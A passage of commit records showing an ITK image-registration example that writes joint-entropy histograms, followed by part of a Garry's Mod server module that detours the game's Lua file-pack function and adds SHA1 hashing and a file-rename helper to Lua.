series filenames ( of the joint histogram )\n this->outputFile = outputFileBase + \"%03d.\";\n this->outputFile += \"mhd\"; \/\/ histogram filename extension\n }\n \n ~HistogramWriter() { };\n \n void SetMetric( MetricPointer metric )\n {\n this->m_Metric = metric;\n }\n\n MetricPointer GetMetric( )\n {\n return this->m_Metric;\n }\n\n void WriteHistogramFile( unsigned int iterationNumber )\n {\n char outputFilename[1000];\n sprintf (outputFilename, this->outputFile.c_str(), iterationNumber ); \n \n histogramWriter->SetFileName( outputFilename );\n this->m_Filter->SetInput( m_Metric->GetHistogram() );\n try\n {\n m_Filter->Update();\n }\n catch( itk::ExceptionObject & err )\n {\n std::cerr << \"ERROR: ExceptionObject caught !\" << std::endl;\n std::cerr << err << std::endl;\n }\n \n try\n { \n histogramWriter->Update(); \n }\n catch( itk::ExceptionObject & excp )\n {\n std::cerr << \"Exception thrown \" << excp << std::endl;\n }\n\n std::cout << \"Joint Histogram file: \" << outputFilename <<\n \" written\" << std::endl;\n }\n \n \nprivate:\n MetricPointer m_Metric;\n HistogramToImageFilterPointer m_Filter;\n HistogramWriterPointer histogramWriter;\n std::string outputFile;\n} jointHistogramWriter;\n\n\n \nclass CommandIterationUpdate : public itk::Command \n{\npublic:\n typedef CommandIterationUpdate Self;\n typedef itk::Command Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n itkNewMacro( Self );\nprotected:\n CommandIterationUpdate() {};\npublic:\n \n typedef itk::GradientDescentOptimizer OptimizerType;\n typedef const OptimizerType * OptimizerPointer;\n \n void Execute(itk::Object *caller, const itk::EventObject & event)\n {\n Execute( (const itk::Object *)caller, event);\n }\n\n void Execute(const itk::Object * object, const itk::EventObject & event)\n {\n OptimizerPointer optimizer = \n dynamic_cast< OptimizerPointer >( object );\n if( typeid( event ) != typeid( itk::IterationEvent ) )\n {\n return;\n }\n std::cout << optimizer->GetCurrentIteration() << \" \";\n std::cout << optimizer->GetValue() << \" \";\n std::cout << optimizer->GetCurrentPosition() << std::endl;\n \n \/\/ Write the joint histogram as a file JointHistogramXXX.mhd \n \/\/ where XXX is the iteration number\n jointHistogramWriter.WriteHistogramFile( optimizer->GetCurrentIteration() ); \n }\n};\n\n\nint main( int argc, char *argv[] )\n{\n if( argc < 4 )\n {\n std::cerr << \"Missing Parameters \" << std::endl;\n std::cerr << \"Usage: \" << argv[0];\n std::cerr << \" fixedImageFile movingImageFile \";\n std::cerr << \"outputImagefile \";\n std::cerr << \"Number of histogram bins for writing the MutualInformationHistogramMetric\";\n std::cerr << std::endl;\n std::cerr << \"Example: ImageRegistrationHistogramPlotter BrainT1Slice.png BrainProtonDensitySliceShifted13x17y.png Output.png 32\" << std::endl; \n return 1;\n }\n \n typedef unsigned short PixelType;\n \n typedef itk::Image< PixelType, Dimension > FixedImageType;\n typedef itk::Image< PixelType, Dimension > MovingImageType;\n typedef float InternalPixelType;\n typedef itk::Image< InternalPixelType, Dimension > InternalImageType;\n\n typedef itk::TranslationTransform< double, Dimension > TransformType;\n typedef itk::GradientDescentOptimizer OptimizerType;\n typedef itk::LinearInterpolateImageFunction< \n InternalImageType,\n double > InterpolatorType;\n typedef itk::ImageRegistrationMethod< \n InternalImageType, \n InternalImageType > RegistrationType;\n typedef itk::MutualInformationHistogramImageToImageMetric< \n InternalImageType, \n InternalImageType > MetricType;\n\n TransformType::Pointer transform = TransformType::New();\n OptimizerType::Pointer optimizer = OptimizerType::New();\n InterpolatorType::Pointer interpolator = InterpolatorType::New();\n RegistrationType::Pointer registration = RegistrationType::New();\n MetricType::Pointer metric = MetricType::New();\n \n \n registration->SetOptimizer( optimizer );\n registration->SetTransform( transform );\n registration->SetInterpolator( interpolator );\n\n\n unsigned int numberOfHistogramBins = atoi( argv[4] );\n MetricType::HistogramType::SizeType histogramSize;\n histogramSize[0] = numberOfHistogramBins;\n histogramSize[1] = numberOfHistogramBins;\n metric->SetHistogramSize( histogramSize );\n const unsigned int numberOfParameters = transform->GetNumberOfParameters();\n typedef MetricType::ScalesType ScalesType;\n ScalesType scales( numberOfParameters );\n scales.Fill( 1.0 );\n metric->SetDerivativeStepLengthScales(scales);\n\n \/\/ Set the metric for the joint histogram writer\n jointHistogramWriter.SetMetric( metric );\n \n registration->SetMetric( metric );\n\n typedef itk::ImageFileReader< FixedImageType > FixedImageReaderType;\n typedef itk::ImageFileReader< MovingImageType > MovingImageReaderType;\n\n FixedImageReaderType::Pointer fixedImageReader = FixedImageReaderType::New();\n MovingImageReaderType::Pointer movingImageReader = MovingImageReaderType::New();\n\n fixedImageReader->SetFileName( argv[1] );\n movingImageReader->SetFileName( argv[2] );\n\n\n typedef itk::NormalizeImageFilter< \n FixedImageType, \n InternalImageType \n > FixedNormalizeFilterType;\n\n typedef itk::NormalizeImageFilter< \n MovingImageType, \n InternalImageType \n > MovingNormalizeFilterType;\n\n FixedNormalizeFilterType::Pointer fixedNormalizer = \n FixedNormalizeFilterType::New();\n\n MovingNormalizeFilterType::Pointer movingNormalizer =\n MovingNormalizeFilterType::New();\n typedef itk::DiscreteGaussianImageFilter<\n InternalImageType, \n InternalImageType\n > GaussianFilterType;\n \n GaussianFilterType::Pointer fixedSmoother = GaussianFilterType::New();\n GaussianFilterType::Pointer movingSmoother = GaussianFilterType::New();\n\n fixedSmoother->SetVariance( 2.0 );\n movingSmoother->SetVariance( 2.0 );\n fixedNormalizer->SetInput( fixedImageReader->GetOutput() );\n movingNormalizer->SetInput( movingImageReader->GetOutput() );\n\n fixedSmoother->SetInput( fixedNormalizer->GetOutput() );\n movingSmoother->SetInput( movingNormalizer->GetOutput() );\n\n registration->SetFixedImage( fixedSmoother->GetOutput() );\n registration->SetMovingImage( movingSmoother->GetOutput() );\n\n\n fixedNormalizer->Update();\n registration->SetFixedImageRegion( \n fixedNormalizer->GetOutput()->GetBufferedRegion() );\n\n typedef RegistrationType::ParametersType ParametersType;\n ParametersType initialParameters( transform->GetNumberOfParameters() );\n\n initialParameters[0] = 0.0; \/\/ Initial offset in mm along X\n initialParameters[1] = 0.0; \/\/ Initial offset in mm along Y\n \n registration->SetInitialTransformParameters( initialParameters );\n\n\n optimizer->SetLearningRate( 20.0 );\n optimizer->SetNumberOfIterations( 200 );\n optimizer->MaximizeOn();\n\n\n CommandIterationUpdate::Pointer observer = CommandIterationUpdate::New();\n optimizer->AddObserver( itk::IterationEvent(), observer );\n\n\n try \n { \n registration->StartRegistration(); \n } \n catch( itk::ExceptionObject & err ) \n { \n std::cout << \"ExceptionObject caught !\" << std::endl; \n std::cout << err << std::endl; \n return -1;\n } \n\n ParametersType finalParameters = registration->GetLastTransformParameters();\n \n double TranslationAlongX = finalParameters[0];\n double TranslationAlongY = finalParameters[1];\n \n unsigned int numberOfIterations = optimizer->GetCurrentIteration();\n \n double bestValue = optimizer->GetValue();\n\n\n std::cout << \"Result = \" << std::endl;\n std::cout << \" Translation X = \" << TranslationAlongX << std::endl;\n std::cout << \" Translation Y = \" << TranslationAlongY << std::endl;\n std::cout << \" Iterations = \" << numberOfIterations << std::endl;\n std::cout << \" Metric value = \" << bestValue << std::endl;\n\n\n typedef itk::ResampleImageFilter< \n MovingImageType, \n FixedImageType > ResampleFilterType;\n\n TransformType::Pointer finalTransform = TransformType::New();\n\n finalTransform->SetParameters( finalParameters );\n\n ResampleFilterType::Pointer resample = ResampleFilterType::New();\n\n resample->SetTransform( finalTransform );\n resample->SetInput( movingImageReader->GetOutput() );\n \n FixedImageType::Pointer fixedImage = fixedImageReader->GetOutput();\n\n resample->SetSize( fixedImage->GetLargestPossibleRegion().GetSize() );\n resample->SetOutputOrigin( fixedImage->GetOrigin() );\n resample->SetOutputSpacing( fixedImage->GetSpacing() );\n resample->SetDefaultPixelValue( 100 );\n\n\n typedef unsigned char OutputPixelType;\n\n typedef itk::Image< OutputPixelType, Dimension > OutputImageType;\n \n typedef itk::CastImageFilter< \n FixedImageType,\n OutputImageType > CastFilterType;\n \n typedef itk::ImageFileWriter< OutputImageType > WriterType;\n\n\n WriterType::Pointer writer = WriterType::New();\n CastFilterType::Pointer caster = CastFilterType::New();\n\n\n writer->SetFileName( argv[3] );\n \n\n caster->SetInput( resample->GetOutput() );\n writer->SetInput( caster->GetOutput() );\n writer->Update();\n\n return EXIT_SUCCESS;\n}\n\n<commit_msg>ENH: Example showing the use of HistogramToEntropyImageFilter<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: ImageRegistrationHistogramPlotter.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\/\/ The example shows how to use the \\doxygen{HistogramToEntropyImageFilter} class.\n\/\/ The example registers two images using the gradient descent optimizer.\n\/\/ The transform used here is a simple translation transform. The metric\n\/\/ is a MutualInformationHistogramImageToImageMetric. \n\/\/\n\/\/ The jointHistogramWriter is invoked after every iteration of the optimizer.\n\/\/ the writer here writes the joint histogram after every iteration as \n\/\/ JointHistogramXXX.mhd. The output image contains the joint entropy histogram\n\/\/ given by \n\/\/ \\begin{equation}\n\/\/ f(I) = -p \\log_2 p\n\/\/ \\end{equation}\n\/\/ \n\/\/ where \n\/\/ \\begin{equation}\n\/\/ p = \\frac{q_I}{\\sum_{i \\in I} q_I}\n\/\/ \\end{equation}\n\/\/ and $q_I$ is the frequency of measurement vector, I.\n\/\/\n\/\/ p is the probability of the occurance of the measurement vector, \\f$q_I\\f$.\n\/\/ \n\/\/ The output image is of type double. \n\/\/\n\/\/ You may similarly instantiate \\doxygen{HistogramToIntensityImageFilter} \n\/\/ or \\doxygen{HistogramToProbabilityImageFilter} or \n\/\/ \\doxygen{HistogramToLogProbabilityImageFilter}. \n\/\/ \\TODO: Put SoftwareGuide comments.\n\n\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n#include \"itkImageRegistrationMethod.h\"\n#include \"itkTranslationTransform.h\"\n#include \"itkMutualInformationHistogramImageToImageMetric.h\"\n#include \"itkLinearInterpolateImageFunction.h\"\n#include \"itkGradientDescentOptimizer.h\"\n#include \"itkImage.h\"\n#include \"itkNormalizeImageFilter.h\"\n#include \"itkDiscreteGaussianImageFilter.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n#include \"itkResampleImageFilter.h\"\n#include \"itkCastImageFilter.h\"\n#include \"itkHistogramToEntropyImageFilter.h\"\n#include \"itkCommand.h\"\n\n\nconst unsigned int Dimension = 2;\n\n\nclass HistogramWriter\n{\npublic:\n typedef float InternalPixelType;\n typedef itk::Image< InternalPixelType, Dimension > InternalImageType;\n typedef itk::MutualInformationHistogramImageToImageMetric< \n InternalImageType, \n InternalImageType > MetricType;\n typedef MetricType::Pointer MetricPointer;\n typedef MetricType::HistogramType HistogramType;\n typedef itk::HistogramToEntropyImageFilter< HistogramType > HistogramToEntropyImageFilterType;\n typedef HistogramToEntropyImageFilterType::Pointer HistogramToImageFilterPointer;\n typedef itk::ImageFileWriter< HistogramToEntropyImageFilterType::OutputImageType > HistogramWriterType;\n typedef HistogramWriterType::Pointer HistogramWriterPointer;\n \n HistogramWriter():\n m_Metric(0)\n {\n this->m_Filter = HistogramToEntropyImageFilterType::New();\n this->histogramWriter = HistogramWriterType::New();\n this->histogramWriter->SetInput( this->m_Filter->GetOutput() );\n\n std::string outputFileBase = \"JointHistogram\"; \/\/ Base of series filenames ( of the joint histogram )\n this->outputFile = outputFileBase + \"%03d.\";\n this->outputFile += \"mhd\"; \/\/ histogram filename extension\n }\n \n ~HistogramWriter() { };\n \n void SetMetric( MetricPointer metric )\n {\n this->m_Metric = metric;\n }\n\n MetricPointer GetMetric( )\n {\n return this->m_Metric;\n }\n\n void WriteHistogramFile( unsigned int iterationNumber )\n {\n char outputFilename[1000];\n sprintf (outputFilename, this->outputFile.c_str(), iterationNumber ); \n \n histogramWriter->SetFileName( outputFilename );\n this->m_Filter->SetInput( m_Metric->GetHistogram() );\n try\n {\n m_Filter->Update();\n }\n catch( itk::ExceptionObject & err )\n {\n std::cerr << \"ERROR: ExceptionObject caught !\" << std::endl;\n std::cerr << err << std::endl;\n }\n \n try\n { \n histogramWriter->Update(); \n }\n catch( itk::ExceptionObject & excp )\n {\n std::cerr << \"Exception thrown \" << excp << std::endl;\n }\n\n std::cout << \"Joint Histogram file: \" << outputFilename <<\n \" written\" << std::endl;\n }\n \n \nprivate:\n MetricPointer m_Metric;\n HistogramToImageFilterPointer m_Filter;\n HistogramWriterPointer histogramWriter;\n std::string outputFile;\n} jointHistogramWriter;\n\n\n \nclass CommandIterationUpdate : public itk::Command \n{\npublic:\n typedef CommandIterationUpdate Self;\n typedef itk::Command Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n itkNewMacro( Self );\nprotected:\n CommandIterationUpdate() {};\npublic:\n \n typedef itk::GradientDescentOptimizer OptimizerType;\n typedef const OptimizerType * OptimizerPointer;\n \n void Execute(itk::Object *caller, const itk::EventObject & event)\n {\n Execute( (const itk::Object *)caller, event);\n }\n\n void Execute(const itk::Object * object, const itk::EventObject & event)\n {\n OptimizerPointer optimizer = \n dynamic_cast< OptimizerPointer >( object );\n if( typeid( event ) != typeid( itk::IterationEvent ) )\n {\n return;\n }\n std::cout << optimizer->GetCurrentIteration() << \" \";\n std::cout << optimizer->GetValue() << \" \";\n std::cout << optimizer->GetCurrentPosition() << std::endl;\n \n \/\/ Write the joint histogram as a file JointHistogramXXX.mhd \n \/\/ where XXX is the iteration number\n jointHistogramWriter.WriteHistogramFile( optimizer->GetCurrentIteration() ); \n }\n};\n\n\nint main( int argc, char *argv[] )\n{\n if( argc < 3 )\n {\n std::cerr << \"Missing Parameters \" << std::endl;\n std::cerr << \"Usage: \" << argv[0];\n std::cerr << \" fixedImageFile movingImageFile \";\n std::cerr << \"outputImagefile \";\n std::cerr << \"Number of histogram bins for writing the MutualInformationHistogramMetric\";\n std::cerr << std::endl;\n \n return 1;\n }\n \n typedef unsigned short PixelType;\n \n typedef itk::Image< PixelType, Dimension > FixedImageType;\n typedef itk::Image< PixelType, Dimension > MovingImageType;\n typedef float InternalPixelType;\n typedef itk::Image< InternalPixelType, Dimension > InternalImageType;\n\n typedef itk::TranslationTransform< double, Dimension > TransformType;\n typedef itk::GradientDescentOptimizer OptimizerType;\n typedef itk::LinearInterpolateImageFunction< \n InternalImageType,\n double > InterpolatorType;\n typedef itk::ImageRegistrationMethod< \n InternalImageType, \n InternalImageType > RegistrationType;\n typedef itk::MutualInformationHistogramImageToImageMetric< \n InternalImageType, \n InternalImageType > MetricType;\n\n TransformType::Pointer transform = TransformType::New();\n OptimizerType::Pointer optimizer = OptimizerType::New();\n InterpolatorType::Pointer interpolator = InterpolatorType::New();\n RegistrationType::Pointer registration = RegistrationType::New();\n MetricType::Pointer metric = MetricType::New();\n \n \n registration->SetOptimizer( optimizer );\n registration->SetTransform( transform );\n registration->SetInterpolator( interpolator );\n\n\n unsigned int numberOfHistogramBins = atoi( argv[4] );\n MetricType::HistogramType::SizeType histogramSize;\n histogramSize[0] = numberOfHistogramBins;\n histogramSize[1] = numberOfHistogramBins;\n metric->SetHistogramSize( histogramSize );\n const unsigned int numberOfParameters = transform->GetNumberOfParameters();\n typedef MetricType::ScalesType ScalesType;\n ScalesType scales( numberOfParameters );\n scales.Fill( 1.0 );\n metric->SetDerivativeStepLengthScales(scales);\n\n \/\/ Set the metric for the joint histogram writer\n jointHistogramWriter.SetMetric( metric );\n \n registration->SetMetric( metric );\n\n typedef itk::ImageFileReader< FixedImageType > FixedImageReaderType;\n typedef itk::ImageFileReader< MovingImageType > MovingImageReaderType;\n\n FixedImageReaderType::Pointer fixedImageReader = FixedImageReaderType::New();\n MovingImageReaderType::Pointer movingImageReader = MovingImageReaderType::New();\n\n fixedImageReader->SetFileName( argv[1] );\n movingImageReader->SetFileName( argv[2] );\n\n\n typedef itk::NormalizeImageFilter< \n FixedImageType, \n InternalImageType \n > FixedNormalizeFilterType;\n\n typedef itk::NormalizeImageFilter< \n MovingImageType, \n InternalImageType \n > MovingNormalizeFilterType;\n\n FixedNormalizeFilterType::Pointer fixedNormalizer = \n FixedNormalizeFilterType::New();\n\n MovingNormalizeFilterType::Pointer movingNormalizer =\n MovingNormalizeFilterType::New();\n typedef itk::DiscreteGaussianImageFilter<\n InternalImageType, \n InternalImageType\n > GaussianFilterType;\n \n GaussianFilterType::Pointer fixedSmoother = GaussianFilterType::New();\n GaussianFilterType::Pointer movingSmoother = GaussianFilterType::New();\n\n fixedSmoother->SetVariance( 2.0 );\n movingSmoother->SetVariance( 2.0 );\n fixedNormalizer->SetInput( fixedImageReader->GetOutput() );\n movingNormalizer->SetInput( movingImageReader->GetOutput() );\n\n fixedSmoother->SetInput( fixedNormalizer->GetOutput() );\n movingSmoother->SetInput( movingNormalizer->GetOutput() );\n\n registration->SetFixedImage( fixedSmoother->GetOutput() );\n registration->SetMovingImage( movingSmoother->GetOutput() );\n\n\n fixedNormalizer->Update();\n registration->SetFixedImageRegion( \n fixedNormalizer->GetOutput()->GetBufferedRegion() );\n\n typedef RegistrationType::ParametersType ParametersType;\n ParametersType initialParameters( transform->GetNumberOfParameters() );\n\n initialParameters[0] = 0.0; \/\/ Initial offset in mm along X\n initialParameters[1] = 0.0; \/\/ Initial offset in mm along Y\n \n registration->SetInitialTransformParameters( initialParameters );\n\n\n optimizer->SetLearningRate( 20.0 );\n optimizer->SetNumberOfIterations( 200 );\n optimizer->MaximizeOn();\n\n\n CommandIterationUpdate::Pointer observer = CommandIterationUpdate::New();\n optimizer->AddObserver( itk::IterationEvent(), observer );\n\n\n try \n { \n registration->StartRegistration(); \n } \n catch( itk::ExceptionObject & err ) \n { \n std::cout << \"ExceptionObject caught !\" << std::endl; \n std::cout << err << std::endl; \n return -1;\n } \n\n ParametersType finalParameters = registration->GetLastTransformParameters();\n \n double TranslationAlongX = finalParameters[0];\n double TranslationAlongY = finalParameters[1];\n \n unsigned int numberOfIterations = optimizer->GetCurrentIteration();\n \n double bestValue = optimizer->GetValue();\n\n\n std::cout << \"Result = \" << std::endl;\n std::cout << \" Translation X = \" << TranslationAlongX << std::endl;\n std::cout << \" Translation Y = \" << TranslationAlongY << std::endl;\n std::cout << \" Iterations = \" << numberOfIterations << std::endl;\n std::cout << \" Metric value = \" << bestValue << std::endl;\n\n\n typedef itk::ResampleImageFilter< \n MovingImageType, \n FixedImageType > ResampleFilterType;\n\n TransformType::Pointer finalTransform = TransformType::New();\n\n finalTransform->SetParameters( finalParameters );\n\n ResampleFilterType::Pointer resample = ResampleFilterType::New();\n\n resample->SetTransform( finalTransform );\n resample->SetInput( movingImageReader->GetOutput() );\n \n FixedImageType::Pointer fixedImage = fixedImageReader->GetOutput();\n\n resample->SetSize( fixedImage->GetLargestPossibleRegion().GetSize() );\n resample->SetOutputOrigin( fixedImage->GetOrigin() );\n resample->SetOutputSpacing( fixedImage->GetSpacing() );\n resample->SetDefaultPixelValue( 100 );\n\n\n typedef unsigned char OutputPixelType;\n\n typedef itk::Image< OutputPixelType, Dimension > OutputImageType;\n \n typedef itk::CastImageFilter< \n FixedImageType,\n OutputImageType > CastFilterType;\n \n typedef itk::ImageFileWriter< OutputImageType > WriterType;\n\n\n WriterType::Pointer writer = WriterType::New();\n CastFilterType::Pointer caster = CastFilterType::New();\n\n\n writer->SetFileName( argv[3] );\n \n\n caster->SetInput( resample->GetOutput() );\n writer->SetInput( caster->GetOutput() );\n writer->Update();\n\n return EXIT_SUCCESS;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <GarrysMod\/Lua\/Interface.h>\n#include <GarrysMod\/Lua\/LuaInterface.h>\n#include <SymbolFinder.hpp>\n#include <MologieDetours\/detours.h>\n#include <stdexcept>\n#include <stdint.h>\n#include <stdio.h>\n#include <sha1.h>\n\n#if defined _WIN32\n\n#define snprintf _snprintf\n\n#define FASTCALL __fastcall\n#define THISCALL __thiscall\n\n#define SERVER_BINARY \"server.dll\"\n\n#define ADDORUPDATEFILE_SYM reinterpret_cast<const uint8_t *>( \"\\x55\\x8B\\xEC\\x83\\xEC\\x18\\x53\\x56\\x8B\\x75\\x08\\x83\\xC6\\x04\\x83\\x7E\" )\n#define ADDORUPDATEFILE_SYMLEN 16\n\n#elif defined __linux || defined __APPLE__\n\n#define CDECL __attribute__((cdecl))\n\n#if defined __linux\n\n#define SERVER_BINARY \"garrysmod\/bin\/server_srv.so\"\n\n#define SYMBOL_PREFIX \"@\"\n\n#else\n\n#define SERVER_BINARY \"garrysmod\/bin\/server.dylib\"\n\n#define SYMBOL_PREFIX \"@_\"\n\n#endif\n\n#define ADDORUPDATEFILE_SYM reinterpret_cast<const uint8_t *>( SYMBOL_PREFIX \"_ZN12GModDataPack15AddOrUpdateFileEP7LuaFileb\" )\n#define ADDORUPDATEFILE_SYMLEN 0\n\n#endif\n\nGarrysMod::Lua::ILuaInterface *lua = NULL;\n\nclass GModDataPack;\n\nstruct LuaFile\n{\n\tuint32_t skip;\n\tconst char *path;\n};\n\n#if defined _WIN32\n\ntypedef void ( THISCALL *AddOrUpdateFile_t ) ( GModDataPack *self, LuaFile *file, bool force );\n\n#elif defined __linux || defined __APPLE__\n\ntypedef void ( CDECL *AddOrUpdateFile_t ) ( GModDataPack *self, LuaFile *file, bool force );\n\n#endif\n \nAddOrUpdateFile_t AddOrUpdateFile = NULL;\nMologieDetours::Detour<AddOrUpdateFile_t> *AddOrUpdateFile_d = NULL;\n\n#if defined _WIN32\n\nvoid FASTCALL AddOrUpdateFile_h( GModDataPack *self, void *, LuaFile *file, bool b )\n\n#elif defined __linux || defined __APPLE__\n\nvoid CDECL AddOrUpdateFile_h( GModDataPack *self, LuaFile *file, bool b )\n\n#endif\n\n{\n\tlua->PushSpecial( GarrysMod::Lua::SPECIAL_GLOB );\n\tif( lua->IsType( -1, GarrysMod::Lua::Type::TABLE ) )\n\t{\n\t\tlua->GetField( -1, \"hook\" );\n\t\tif( lua->IsType( -1, GarrysMod::Lua::Type::TABLE ) )\n\t\t{\n\t\t\tlua->GetField( -1, \"Run\" );\n\t\t\tif( lua->IsType( -1, GarrysMod::Lua::Type::FUNCTION ) )\n\t\t\t{\n\t\t\t\tlua->PushString( \"AddOrUpdateCSLuaFile\" );\n\n\t\t\t\tlua->PushString( file->path );\n\t\t\t\tlua->PushBool( b );\n\n\t\t\t\tif( lua->PCall( 3, 1, 0 ) != 0 )\n\t\t\t\t{\n\t\t\t\t\tlua->Msg( \"[luapack_internal] %s\\n\", lua->GetString( ) );\n\t\t\t\t\tlua->Pop( 3 );\n\t\t\t\t\treturn AddOrUpdateFile( self, file, b );\n\t\t\t\t}\n\n\t\t\t\tif( lua->IsType( -1, GarrysMod::Lua::Type::BOOL ) && lua->GetBool( ) )\n\t\t\t\t{\n\t\t\t\t\tlua->Pop( 3 );\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tlua->Pop( 1 );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tlua->Pop( 1 );\n\t\t\t}\n\t\t}\n\n\t\tlua->Pop( 1 );\n\t}\n\n\tlua->Pop( 1 );\n\treturn AddOrUpdateFile( self, file, b );\n}\n\n#define HASHER_METATABLE \"SHA1\"\n#define HASHER_TYPE 31\n\n#define THROW_ERROR( error ) ( LUA->ThrowError( error ), 0 )\n#define LUA_ERROR( ) THROW_ERROR( LUA->GetString( ) )\n\n#define GET_USERDATA( index ) reinterpret_cast<GarrysMod::Lua::UserData *>( LUA->GetUserdata( index ) )\n#define GET_HASHER( index ) reinterpret_cast<sha1_context *>( GET_USERDATA( index )->data )\n#define VALIDATE_HASHER( hasher ) if( hasher == 0 ) return THROW_ERROR( HASHER_METATABLE \" object is not valid\" )\n\nLUA_FUNCTION_STATIC( hasher__new )\n{\n\ttry\n\t{\n\t\tsha1_context *context = new sha1_context;\n\t\tsha1_starts( context );\n\n\t\tvoid *luadata = LUA->NewUserdata( sizeof( GarrysMod::Lua::UserData ) );\n\t\tGarrysMod::Lua::UserData *userdata = reinterpret_cast<GarrysMod::Lua::UserData *>( luadata );\n\t\tuserdata->data = context;\n\t\tuserdata->type = HASHER_TYPE;\n\n\t\tLUA->CreateMetaTableType( HASHER_METATABLE, HASHER_TYPE );\n\t\tLUA->SetMetaTable( -2 );\n\n\t\treturn 1;\n\t}\n\tcatch( std::exception &e )\n\t{\n\t\tLUA->PushString( e.what( ) );\n\t}\n \n\treturn LUA_ERROR( );\n}\n\nLUA_FUNCTION_STATIC( hasher__gc )\n{\n\tLUA->CheckType( 1, HASHER_TYPE );\n\n\tGarrysMod::Lua::UserData *userdata = GET_USERDATA( 1 );\n\tsha1_context *hasher = reinterpret_cast<sha1_context *>( userdata->data );\n\tVALIDATE_HASHER( hasher );\n\n\tuserdata->data = 0;\n\n\tdelete hasher;\n\treturn 0;\n}\n\nLUA_FUNCTION_STATIC( hasher_update )\n{\n\tLUA->CheckType( 1, HASHER_TYPE );\n\tLUA->CheckType( 2, GarrysMod::Lua::Type::STRING );\n\n\tsha1_context *hasher = GET_HASHER( 1 );\n\tVALIDATE_HASHER( hasher );\n\n\tuint32_t len = 0;\n\tconst uint8_t *data = reinterpret_cast<const uint8_t *>( LUA->GetString( 2, &len ) );\n\n\tsha1_update( hasher, data, len );\n\n\treturn 0;\n}\n\nLUA_FUNCTION_STATIC( hasher_final )\n{\n\tLUA->CheckType( 1, HASHER_TYPE );\n\n\tsha1_context *hasher = GET_HASHER( 1 );\n\tVALIDATE_HASHER( hasher );\n\n\tuint8_t digest[20];\n\tsha1_finish( hasher, digest );\n\n\tLUA->PushString( reinterpret_cast<const char *>( digest ), sizeof( digest ) );\n\treturn 1;\n}\n\nLUA_FUNCTION_STATIC( luapack_rename )\n{\n\tLUA->CheckType( 1, GarrysMod::Lua::Type::STRING );\n\n\tchar newto[70];\n\tsnprintf( newto, sizeof( newto ), \"garrysmod\/data\/luapack\/%s.dat\", LUA->GetString( 1 ) );\n\n\tLUA->PushBool( rename( \"garrysmod\/data\/luapack\/temp.dat\", newto ) == 0 );\n\treturn 1;\n}\n\nGMOD_MODULE_OPEN( )\n{\n\tlua = reinterpret_cast<GarrysMod::Lua::ILuaInterface *>( LUA );\n\n\ttry\n\t{\n\t\tlua->PushSpecial( GarrysMod::Lua::SPECIAL_GLOB );\n\n\t\tlua->GetField( -1, \"luapack\" );\n\t\tif( !lua->IsType( -1, GarrysMod::Lua::Type::TABLE ) )\n\t\t\tthrow std::runtime_error( \"luapack table not found\" );\n\n\t\tlua->PushCFunction( luapack_rename );\n\t\tlua->SetField( -2, \"Rename\" );\n\n\t\tlua->PushCFunction( hasher__new );\n\t\tlua->SetField( -2, HASHER_METATABLE );\n\n\t\tLUA->CreateMetaTableType( HASHER_METATABLE, HASHER_TYPE );\n\n\t\tLUA->Push( -1 );\n\t\tLUA->SetField( -2, \"__index\" );\n\n\t\tLUA->PushCFunction( hasher__gc );\n\t\tLUA->SetField( -2, \"__gc\" );\n\n\t\tLUA->PushCFunction( hasher_update );\n\t\tLUA->SetField( -2, \"Update\" );\n\n\t\tLUA->PushCFunction( hasher_final );\n\t\tLUA->SetField( -2, \"Final\" );\n\n\t\tSymbolFinder symfinder;\n\n\t\tAddOrUpdateFile = reinterpret_cast<AddOrUpdateFile_t>( symfinder.ResolveOnBinary( SERVER_BINARY, ADDORUPDATEFILE_SYM, ADDORUPDATEFILE_SYMLEN ) );\n\t\tif( AddOrUpdateFile == NULL )\n\t\t\tthrow std::runtime_error( \"GModDataPack::AddOrUpdateFile detour failed\" );\n\n\t\tAddOrUpdateFile_d = new MologieDetours::Detour<AddOrUpdateFile_t>( AddOrUpdateFile, reinterpret_cast<AddOrUpdateFile_t>( AddOrUpdateFile_h ) );\n\n\t\tAddOrUpdateFile = AddOrUpdateFile_d->GetOriginalFunction( );\n\n\t\tlua->Msg( \"[luapack_internal] GModDataPack::AddOrUpdateFile detoured.\\n\" );\n\n\t\treturn 0;\n\t}\n\tcatch( std::exception &e )\n\t{\n\t\tLUA->PushString( e.what( ) );\n\t}\n \n\treturn LUA_ERROR( );\n}\n \nGMOD_MODULE_CLOSE( )\n{\n\tdelete AddOrUpdateFile_d;\n\treturn 0;\n}<commit_msg>luapack.Rename upgraded. Now accepts 2 paths relative to garrysmod. Should still be pretty safe since all ..\/ are removed and the only accepted extensions are .txt, .dat and .lua<commit_after>#include <GarrysMod\/Lua\/Interface.h>\n#include <GarrysMod\/Lua\/LuaInterface.h>\n#include <SymbolFinder.hpp>\n#include <MologieDetours\/detours.h>\n#include <stdexcept>\n#include <string>\n#include <stdint.h>\n#include <stdio.h>\n#include <sha1.h>\n\n#if defined _WIN32\n\n#define snprintf _snprintf\n\n#define FASTCALL __fastcall\n#define THISCALL __thiscall\n\n#define SERVER_BINARY \"server.dll\"\n\n#define ADDORUPDATEFILE_SYM reinterpret_cast<const uint8_t *>( \"\\x55\\x8B\\xEC\\x83\\xEC\\x18\\x53\\x56\\x8B\\x75\\x08\\x83\\xC6\\x04\\x83\\x7E\" )\n#define ADDORUPDATEFILE_SYMLEN 16\n\n#elif defined __linux || defined __APPLE__\n\n#define CDECL __attribute__((cdecl))\n\n#if defined __linux\n\n#define SERVER_BINARY \"garrysmod\/bin\/server_srv.so\"\n\n#define SYMBOL_PREFIX \"@\"\n\n#else\n\n#define SERVER_BINARY \"garrysmod\/bin\/server.dylib\"\n\n#define SYMBOL_PREFIX \"@_\"\n\n#endif\n\n#define 